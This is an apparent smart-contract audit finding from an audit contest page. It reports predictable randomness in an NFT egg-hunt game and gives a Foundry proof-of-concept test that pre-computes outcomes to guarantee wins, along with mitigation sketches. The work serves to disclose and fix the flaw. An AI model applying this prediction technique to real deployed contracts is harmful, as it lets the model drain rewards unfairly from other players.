Eggstravaganza

First Flight #37
Beginner FriendlySolidity
100 EXP
View results
Submission Details
Severity: high
Valid

Predictable random number generation in `EggHuntGame` makes it unfair game

Summary

The EggHuntGame contract contains a critical vulnerability in its random number generation mechanism used for determining egg discovery. This vulnerability allows attackers to predict and manipulate the outcome of the egg hunt, enabling them to consistently find eggs and gain an unfair advantage in the game.

Vulnerability Details

The vulnerability exists in the searchForEgg function of the EggHuntGame contract. The function uses a predictable combination of:

  1. block.timestamp

  2. block.prevrandao

  3. msg.sender

  4. eggCounter

to generate a "random" number. This implementation is vulnerable because:

  1. block.timestamp is predictable and can be manipulated by miners

  2. block.prevrandao can be influenced by validators

  3. An attacker can pre-compute the random number by trying different addresses

  4. The eggCounter is public and its value is known

Impact

  • High Severity: This vulnerability allows attackers to predict and guarantee egg discoveries

  • Game Balance Impact: Disrupts the fair distribution of NFTs

  • Economic Impact: Potential market manipulation of NFT values

  • Reputation Damage: Loss of trust in the game's fairness

Proof of Concept

The vulnerability can be demonstrated with the following test case:

contract EggGameTest is Test {
EggstravaganzaNFT nft;
EggVault vault;
EggHuntGame game;
address owner;
address alice;
address bob;
error OwnableUnauthorizedAccount(address account);
function setUp() public {
owner = address(this); // The test contract is the deployer/owner.
alice = address(0x1);
bob = address(0x2);
// Deploy the contracts.
nft = new EggstravaganzaNFT("Eggstravaganza", "EGG");
vault = new EggVault();
game = new EggHuntGame(address(nft), address(vault));
// Set the allowed game contract for minting eggs in the NFT.
nft.setGameContract(address(game));
// Configure the vault with the NFT contract.
vault.setEggNFT(address(nft));
}
function testsetEggFindThresholdForFakeRandom() public {
// 1. Start the game
vm.prank(owner);
game.startGame(1000);
// 2. Attacker predicts and exploits the random number generation
// for-loop is just a concept prove
// in real world, the hacker can use create2 to brute the address
// the validator can also control the prevrandao to make the random number predictable
for(uint160 i = 10; i < 1000; i++) {
uint256 random = uint256(
keccak256(abi.encodePacked(block.timestamp, block.prevrandao, address(i), game.eggCounter()))
) % 100;
if(random < game.eggFindThreshold()) {
vm.prank(address(i));
game.searchForEgg();
assertEq(game.eggsFound(address(i)), 1);
}
if(game.eggCounter() == game.eggFindThreshold()) {
break;
}
}
console.log("egg Counter : ", game.eggCounter());
}
}

run the test

forge test -vvvv --mt testsetEggFindThresholdForFakeRandom

the part of result as follows:

[PASS] testsetEggFindThresholdForFakeRandom() (gas: 1932631)
Logs:
egg Counter : 20

Tools Used

  • Foundry

Mitigation

To fix this vulnerability, implement the following changes:

  1. Use a secure random number generation method:

// Option 1: Use Chainlink VRF
import "@chainlink/contracts/src/v0.8/VRFConsumerBase.sol";
// Option 2: Use a commit-reveal scheme
mapping(address => bytes32) public commitments;
uint256 public revealBlock;
function commit(bytes32 commitment) public {
commitments[msg.sender] = commitment;
}
function reveal(uint256 randomNumber, bytes32 salt) public {
require(block.number > revealBlock, "Not ready to reveal");
require(commitments[msg.sender] == keccak256(abi.encodePacked(randomNumber, salt)), "Invalid reveal");
// Use randomNumber for game logic
}
Updates

Lead Judging Commences

m3dython Lead Judge 4 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Insecure Randomness

Insecure methods to generate pseudo-random numbers

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.